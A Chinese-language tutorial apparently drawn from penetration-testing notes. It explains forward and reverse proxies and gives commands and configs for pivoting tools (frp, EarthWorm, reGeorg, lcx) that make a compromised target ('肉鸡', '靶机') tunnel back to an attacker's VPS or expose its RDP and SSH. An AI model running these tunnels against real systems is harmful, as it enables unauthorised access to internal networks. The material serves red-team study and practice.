正向代理和反向代理

正向代理和反向代理

正向代理

正向代理类似一个跳板机,代理访问外部资源

1
正向代理是一个位于客户端和服务器(origin server)之间的代理服务器,为了从服务器取得内容,客户端向代理服务器发送一个请求并指定目标(服务器),然后代理向服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。

picture

反向代理

客户端是无感知代理的存在的,反向代理对外都是透明的,访问者者并不知道自己访问的是一个代理。

1
反向代理(Reverse Proxy)实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。

picture

上知乎图:

picture

picture

frp代理

frp内网穿透

frp主要目的:

1
2
3
4
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。主要他是一个开源的。
frp:实现内网主机向外网用户端提供服务的内网穿透
下载地址:https://github.com/fatedier/frp
文档说明: https://github.com/fatedier/frp/blob/master/README_zh.md

frp服务器配置

1
2
3
4
5
启动:frps -c frps.ini
[common]
bind_addr = vps
bind_port = 7000
auto_token = password

frp客户端配置

1
2
3
4
5
6
7
8
9
10
11
12
启动:frpc.exe -c frpc.ini
[common]
server_addr = vps
server_port = 7000
auto_token = password

[socks5]
type = tcp
remote_port = 6000
plugin = socks5
plugin_user = abcd
plugin_passwd = abcd

反向代理socks5,使用sockscap或prochains工具建立socks5代理连接

picture

picture

ew工具(正&反)

ew正向代理

1
2
正向代理:ew –s ssocksd –l 1080
即在靶机上直接执行正向代理,在挂上全局代理,靶机相当于跳板机

ew反向代理

1
2
3
4
5
6
7
8
9
10
vps执行命名:
./ew -s rcsocks -l 1080 -e 8888
攻击者具有独立IP的vps ,执行ew,设置监听本地的1080端口,并将从靶机8888端口转发到本地1080端口

靶机执行命令:
./ew -s rssocks -d vps_ip -e 8888
公网主机(即vps)添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机

使用:
访问 vps:1080 可使用rssocks主机提供的socks5代理服务

reGeorg webshell正向代理

1
2
3
4
5
6
7
8
9
* **Step 1.**
上传tunnel对应的脚本至服务器

* **Step 2.**
运行python脚本文件,配置对应的端口
eg:python reGeorgSocksProxy.py -p 1080 -u http://ip/tunnel/tunnel.jsp

* **Step 2.**
配置socks代理,进行连接,即可正向使用代理进入服务器

端口转发(frp&lcx)

frp端口转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# frps.ini
[common]
bind_port = 7000

# frpc.ini
[common]
server_addr = x.x.x.x
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

lcx端口转发

1
2
3
4
5
6
7
windows
vps: lcx -listen 2222 3333 //2222为转发端口,3333为本机任意未被占用的端口
肉鸡:lcx -slave vps_ip 2222 127.0.0.1 3389 //将本地3389端口转发至vps_ip 2222端口
3389连接时格式 vps:3333
linux
vps:
./portmap -m 2 -p1 9999 -p2 3389